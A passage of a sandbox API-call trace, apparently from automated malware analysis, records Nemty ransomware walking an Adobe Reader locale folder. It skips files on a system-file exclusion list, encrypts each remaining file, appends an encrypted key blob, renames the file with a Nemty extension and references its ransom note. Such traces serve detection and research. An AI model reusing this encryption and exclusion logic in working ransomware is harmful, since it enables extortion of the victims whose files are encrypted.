dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.129] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2290b710, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2290b710, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2290b710, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.129] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.129] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0186.129] lstrcmpiW (lpString1="Spelling.CHS", lpString2=".") returned 1 [0186.129] lstrcmpiW (lpString1="Spelling.CHS", lpString2="..") returned 1 [0186.129] lstrcmpiW (lpString1="Spelling.CHS", lpString2="...") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="windows") returned -1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="rsa") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="NTDETECT.COM") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="ntldr") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="MSDOS.SYS") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="IO.SYS") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="boot.ini") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="boot.ini") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="ntuser.dat") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="desktop.ini") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="CONFIG.SYS") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="RECYCLER") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="bootmgr") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="programdata") returned 1 [0186.130] lstrcmpiW (lpString1="Spelling.CHS", lpString2="appdata") returned 1 [0186.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHS", lpUsedDefaultChar=0x0) returned 12 [0186.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.131] Sleep (dwMilliseconds=0x5) [0186.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2297db30, dwHighDateTime=0x1d561e8)) [0186.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2297db30, dwHighDateTime=0x1d561e8)) [0186.137] GetLastError () returned 0x12 [0186.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.137] GetLastError () returned 0x12 [0186.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.137] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.137] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.137] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.138] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ZCon1vpUIigt9A9r7zr2cOK8vI5HhGy1I6sHb7WSf3s8N+TlJo5fxx1zj30qsPr0\r\nGJRHo213xd+Fd4WUb1zgTzecba7zJapXDkwwuZYsx55k3Fggt260CWLOkzR3ERN4\r\nmF6gmgTfQshRcPSe9lI/poM6H1a2IBspC+YMPTklT/N8DeNY3EU6RZ64Dno+mMDK\r\nxW2KrD8z6RHma8DGhzvfYIiGiK0ztH0NTwBNYUbybxreY/vcFVymclCeMsa5Cg4p\r\nfGGaB9EEFkcHwPUe9CNRBXa5i9sbomMTqnGy3mVJkD7olMAu3tqo+q/qwjY0S0HF\r\nmabYvIiTcnd7Jtd/6/ArHw==\r\n", pcchString=0x653e5dc) returned 1 [0186.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Spelling.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\spelling.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.139] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8192) returned 1 [0186.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0186.139] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.139] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2000, lpOverlapped=0x0) returned 1 [0186.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2000, lpOverlapped=0x0) returned 1 [0186.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0186.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.141] CloseHandle (hObject=0x2e8) returned 1 [0186.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.142] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Spelling.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\spelling.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Spelling.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\spelling.chs._nemty_kgobjgd_")) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.142] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.CHS", cAlternateFileName="")) returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2=".") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="..") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="...") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="windows") returned -1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="rsa") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="NTDETECT.COM") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="ntldr") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="MSDOS.SYS") returned 1 [0186.142] lstrcmpiW (lpString1="updater.CHS", lpString2="IO.SYS") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="boot.ini") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="boot.ini") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="ntuser.dat") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="desktop.ini") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="CONFIG.SYS") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="RECYCLER") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="bootmgr") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="programdata") returned 1 [0186.143] lstrcmpiW (lpString1="updater.CHS", lpString2="appdata") returned 1 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHS", lpUsedDefaultChar=0x0) returned 11 [0186.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.143] Sleep (dwMilliseconds=0x5) [0186.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x229a3c90, dwHighDateTime=0x1d561e8)) [0186.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x229a3c90, dwHighDateTime=0x1d561e8)) [0186.153] GetLastError () returned 0x0 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.153] GetLastError () returned 0x0 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.153] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.153] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="skiv9gg64uZA9vMBNBO7hHE9b7aGmkOiWYizOMRbmUDuoZmjNoL/+TZFxbJIGJXZ\r\nu49pp+/2Wv3P6b5auQlvjbsNpA06hCxV0F9VqlQ6z+qIygefPlNhbKHS1A9bh2NH\r\nC94Cars1CiOQgI15vPTRAvqjf/TXazTm4TjiWJWGqSdiBg0sEbg5SmerezdUuR5y\r\npRK5OsZNmE0SRCbQg8AIVO+2+r5qatPfJQJjY0L8f03gFzJinPhk8Dd/zL6Rfyb1\r\nuM55fZldGMb6zVkIlJn9ftIjTvAkHhqPAgRXPHiYXDrYQrXFAE1iq9/1LmwaGpUf\r\nINFi96vCNpRoZ16EJYiTcg==\r\n", pcchString=0x653e5dc) returned 1 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\updater.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\updater.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.154] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7680) returned 1 [0186.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0186.154] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.154] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1e00, lpOverlapped=0x0) returned 1 [0186.156] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.156] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1e00, 